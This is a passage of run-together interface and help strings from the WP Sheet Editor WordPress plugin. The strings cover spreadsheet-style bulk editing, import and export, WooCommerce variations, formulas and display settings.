API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install 